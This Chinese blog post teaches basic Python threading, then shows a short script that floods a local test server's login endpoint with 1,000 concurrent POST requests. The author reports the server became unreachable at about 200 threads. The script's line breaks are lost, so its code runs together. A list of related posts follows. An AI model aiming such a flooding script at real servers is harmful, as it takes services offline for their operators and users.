Python 多线程入门和简单的基于多线程的流量泛洪攻击
| 警告:仅供参考学习,不得做违法的事!免责声明:本文仅仅只是展示攻击手段,提高防范意识。任何由于该文章产生的消极后果与本作者无关。
多线程入门
# 多线程模块导入
import threading# 创建一个线程对象,进行func任务(往往都是函数)
t = threading.Thread(target=func, args=()) # 如果func有参数,则用args传参
t.start() # 线程开始执行任务
开始实验
接下去就开始多线程泛洪,可以说是非常简单
import requests, threading# 在本地搭建的一个服务器
url = 'http://localhost:8081/note/userLoginIn'
data = {'actionName': 'login', 'uname': 'admin', 'upwd': 'admin'}# 执行登录操作
def login():# 利用session维持会话s = requests.session()if s.post(url=url, data=data, allow_redirects=True):print("登录成功")else:print("登录失败")if __name__ == '__main__':# 简单设置1000个线程for i in range(1000):t = threading.Thread(target=login)t.start()
差不多到200个线程的时候就开始爆红了,浏览器也无法访问了
可以说是非常简单,这里我还只是执行了登录操作(主要是服务器太烂),多执行几个操作更完蛋
高级的泛洪还得看Alplexchur师傅的SYN泛洪,原理比我这复杂多了:https://blog.csdn.net/qq_27493871/article/details/126793409?spm=1001.2014.3001.5502
Python 多线程入门和简单的基于多线程的流量泛洪攻击相关推荐
- python多线程读取数据库数据_Python基于多线程操作数据库相关知识点详解
Python基于多线程操作数据库相关问题分析 本文实例分析了Python多线程操作数据库相关问题.分享给大家供大家参考,具体如下: python多线程并发操作数据库,会存在链接数据库超时.数据库连接丢 ...
- python从入门到高阶(基于黑马程序员python教程)
文章目录 0.文章来源 1."学it就来%s%s员"% (name,"程序员") 2.%s:占位字符串.%d:占位整型.%f:占位浮点型 3.字符串格式化的精度 ...
- 利用ettercap进行简单的基于数据库的ARP毒化攻击
情景: 两台主机A(IP:192.168.44.132)和B(IP:192.168.44.134) 分别作为数据库服务器和客户端. 另一主机C作为中间人进行ARP攻击.主机C上已安装ettercap并 ...
- python 多线程就这么简单
python 多线程就这么简单 多线程和多进程是什么自行google补脑 对于python 多线程的理解,我花了很长时间,搜索的大部份文章都不够通俗易懂.所以,这里力图用简单的例子,让你对多线程有个初 ...
- 递归锁、信号量、GIL锁、基于多线程的socket通信和进程池线程池
递归锁.信号量.GIL锁.基于多线程的socket通信和进程池线程池 递归锁 死锁现象:是指两个或两个以上的进程和线程因抢夺计算机资源而产生的一种互相等待的现象 from threading impo ...
- JavaSE-多线程基础-基于多线程的计时器应用
目录 一.进程与线程的含义与区别 1.含义: 2.区别: 二.线程的四种创建方式及使用 1.继承Thread类实现线程的创建 2.使用Runnable接口实现线程的创建 3.使用Callable接口实 ...
- python 多线程就这么简单(续)
python 多线程就这么简单(续) 之前讲了多线程的一篇博客,感觉讲的意犹未尽,其实,多线程非常有意思.因为我们在使用电脑的过程中无时无刻都在多进程和多线程.我们可以接着之前的例子继续讲.请先看我的 ...
- python实现一个很简单的多线程爬虫
需求 无聊用python写一个爬虫爬取某个视频网站的内容,获取名称地址时长和更新时间保存到数据库头,以前没用过也没学多线程所以接直接顺着来,按照python的简洁性几行代码就搞定,一刷下来没问题,保存 ...
- python多线程实现访问页面_Python实现多线程爬虫
最近在写爬虫程序爬取亚马逊上的评论信息,因此也自学了很多爬虫相关的知识,其实网络上已经有很多基于Python的入门爬虫程序了,所以学习起来比较方便,唯独那个多线程爬虫一直都学的不是很明白,所以就写下这 ...
最新文章
- PHP redis秒杀返回结果,php结合redis实现高并发下的抢购、秒杀功能
- C# 读取网页源码的三种办法WebClient、WebRequest、HttpWebRequest
- mysql怎么按年份分组_mysql - MYSQL按ID分组,但根据最近的年份进行拉取 - SO中文参考 - www.soinside.com...
- java poi生成excel文件_java poi 导出Excel文件
- 数据科学近3年都应用在哪些领域?
- 腾讯王兰:覆盖12大场景,45个应用,5G变革的关键是“串联”
- CEH v7 培训视频、工具、PPT
- 我选择了IT,我会用最大的热诚进军IT大技术!
- 【爬虫】爬取百度搜索结果页面
- UEFI模式双硬盘+双系统安装(Win8.1+Ubuntu18.04)
- html css设计网页初步
- 恶意软件的沙盒规避技术
- 垂直整合正在塑造 Power SiC 生态系统
- 信道编码---RS编码与译码原理
- 分形维数学习个人笔记1
- 【商品分类数据集】——RP2K
- 加快ASP。NET Core WEB API应用程序。第3部分
- C++和Python混合编程:C++调用Python函数
- 计算机网络教学方式探讨论文,计算机网络教学探讨论文
- 三维空间异面直线最短距离计算